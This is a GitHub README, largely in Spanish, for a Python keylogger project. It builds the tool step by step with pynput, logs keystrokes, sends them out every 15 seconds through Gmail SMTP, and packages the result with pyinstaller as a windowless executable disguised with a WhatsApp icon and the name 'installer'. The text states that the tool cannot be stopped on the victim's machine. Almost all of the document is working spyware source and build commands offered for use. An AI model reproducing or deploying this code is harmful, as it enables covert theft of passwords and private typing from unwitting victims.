Skip to content

tmcybers/Keylogger-en-Python-Lab

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

16 Commits
 
 
 
 
 
 
 
 

Repository files navigation

--> TARGET --->> PARROT OS

  • Requerimientos : Instalar pynput
pip install pynput

Importante: reinicia tu editor de codigo despues de instalar pynput.

HackMode > ON!

from pynput.keyboard import Listener

def capturar_teclas(key):
    print(key)
    
with Listener(on_press=capturar_teclas) as l:
    l.join()

EMPEZAMOS A CAPTURAR

  • Empezamos a capturar las teclas de nuestra target.

Guardamos todo en un documento '.txt'.

from pynput.keyboard import Listener
import datetime

d = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S")

file = open('keylogger-{}.txt'.format(d),'w')

        
def capturar_teclas(key):
    
    key = str(key)
    if key == 'Key.enter':
        file.write("\n")
    elif key == 'Key.space':
        file.write(" ")
    elif key == 'Key.backspace':
        file.write('%BORRAR%')
    else:
        file.write(key.replace("'",""))
    print(key)

with Listener(on_press=capturar_teclas) as l:
    l.join()

guradar txt

  • El documento .txt esta creado, incluso implementamos un segundo .txt con fechas y hora , diario.

Envio de correo con Gmail.com

HackMode TIP! : a partir de 30 de mayo del 2022 gmail bloquea todas las apps noseguras.

  • PARA ESO : en tu cuenta de google debes Permitir el acceso de aplicaciones menos seguras: en 'SÍ'

gmail no seguras

from http import server
import smtplib

mensaje = "Subject:Correo desde Target1 \nHola desde email.py"

server_smtp = smtplib.SMTP("smtp.gmail.com",587)

server_smtp.starttls()

server_smtp.login("deniseduranbybit@gmail.com","password")

server_smtp.sendmail("deniseduranbybit@gmail.com","deniseduranbybit@gmail.com", mensaje)

server_smtp.quit()

print("Correo enviando correctamente")

envio de correo parrot

  • El correo usado es un nombre al azar, usado como exemplo)

  • Recibimos el correo desde nuestras !Targets!

corre envio ubuntu

Desarollo de Keylogger: Implementamos > Metodos Clases Funciones (Preparamiento)

import pynput
import threading
import smtplib

log = ""

class Keylogger:

   def __init__(self,intervalo,email,password):
       pass

   def append_to_log(self,string):
       pass

   def capturar_teclas(self,key):
       pass

   def reporte(self):
       pass

   def enviar_email(self,email,password.mensaje):
       pass

   def start(self):
       pass
       

preparamiento

Desarollo de Keylogger: Implementamos append, teclas, reporte.

import pynput
import threading
import smtplib

log = ""

class Keylogger:

   def __init__(self,intervalo,email,password):
       self.log = "Keylogger iniciado!"
       self.intervalo = intervalo
       self.email = email
       self.password = password

   def append_to_log(self,string):
       self.log = self.log + string


   def capturar_teclas(self,key):
       try:
          current_key = str(key.char)
       except AttributeError:
           if key == key.space:
               current_key = " "
           else:
               current_key = " " + str(key) + " "
       self.append_to_log(current_key)


   def reporte(self):
       pass

   def enviar_email(self,email,password.mensaje):
       pass

   def start(self):
       pass

apppend to log

Desarollo de Keylogger: Implementamos email, reporte.

import pynput
import threading
import smtplib

log = ""

class Keylogger:

    def __init__(self,intervalo,email,password):
        self.log = "Keylogger iniciado!"
        self.intervalo = intervalo
        self.email = email
        self.password = password

    def append_to_log(self,string):
        self.log = self.log + string


    def capturar_teclas(self,key):
        try:
           current_key = str(key.char)
        except AttributeError:
            if key == key.space:
                current_key = " "
            else:
                current_key = " " + str(key) + " "
        self.append_to_log(current_key)


    def reporte(self):
        self.enviar_email(self.email,self.password,"\n\n" + self.log)
        self.log = ""
        timer = threading.Timer(self.intervalo,self.reporte)
        timer.start()
        

    def enviar_email(self,email,password,mensaje):
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.starttls()
        server.login(email,password)
        server.sendmail(email,email,mensaje)
        server.quit()


    def start(self):
        pass
        

email y reporte

Retoque Final; Keylogger en Action!

import pynput
import threading
import smtplib

from pynput import keyboard

log = ""

class Keylogger:

    def __init__(self,intervalo,email,password):
        self.log = "Keylogger iniciado!"
        self.intervalo = intervalo
        self.email = email
        self.password = password

    def append_to_log(self,string):
        self.log = self.log + string


    def capturar_teclas(self,key):
        try:
           current_key = str(key.char)
        except AttributeError:
            if key == key.space:
                current_key = " "
            else:
                current_key = " " + str(key) + " "
        self.append_to_log(current_key)


    def reporte(self):
        self.enviar_email(self.email,self.password,"\n\n" + self.log)
        self.log = ""
        timer = threading.Timer(self.intervalo,self.reporte)
        timer.start()
        

    def enviar_email(self,email,password,mensaje):
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.starttls()
        server.login(email,password)
        server.sendmail(email,email,mensaje)
        server.quit()


    def start(self):
        keyboard_listener = pynput.keyboard.Listener(on_press=self.capturar_teclas)
        with keyboard_listener:
            self.reporte()
            keyboard_listener.join()
            

keylogger en ACTION

Creamos un log.py que es nuestro (Listener) nuestro audifono! (el keylogger se encuentra corriendo en nuestro !Target!

import Keylogger as KG

log = KG.Keylogger(15,"deniseduranbybit@gmail.com","password")
log.start()
  • 15 : son segundos ( cada 15 segundos recibimos la captura de las teclas,)

kg

  • Corriendo!

Correos llegando cada 15 sec

iniciado

hola como estas vacio

  • Si lo seteamos a 15 seg cada 15 seg recibimos el email.

IMPORTANTE: El keylogger lo paramos mediante CTRL+C en el terminal nuestro, pero en la maquina dela victima por ex: NO SE PUEDE PARAR!

Keylogger '.exe

* pip install pynput (Importante: necesitamos pynput 1.6.8)
  • Comprueba tu version:
pip freeze
  • Instalar 1.6.8
pip install pynput==1.6.8

Tambien se necesita pyinstaller

pip install pyinstaller

Creamos el ejecutable .Exe

pyinstaller --onefile -windowed --noconsole -i=whatsapp.ico log.py --name installer

adm de tareas

Captura de pantalla de 2022-03-21 15-24-00

corre envio ubuntu

Captura de pantalla de 2022-03-21 15-24-22

Captura de pantalla de 2022-03-21 15-24-33

Typing SVG

If this project help you reduce time to develop, you can give me a cup of coffee :)

ko-fi

Buy Me A Coffee

About

Keylogger that steals and captures keyboard keys and sends them by mail (for english please translate the page)

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages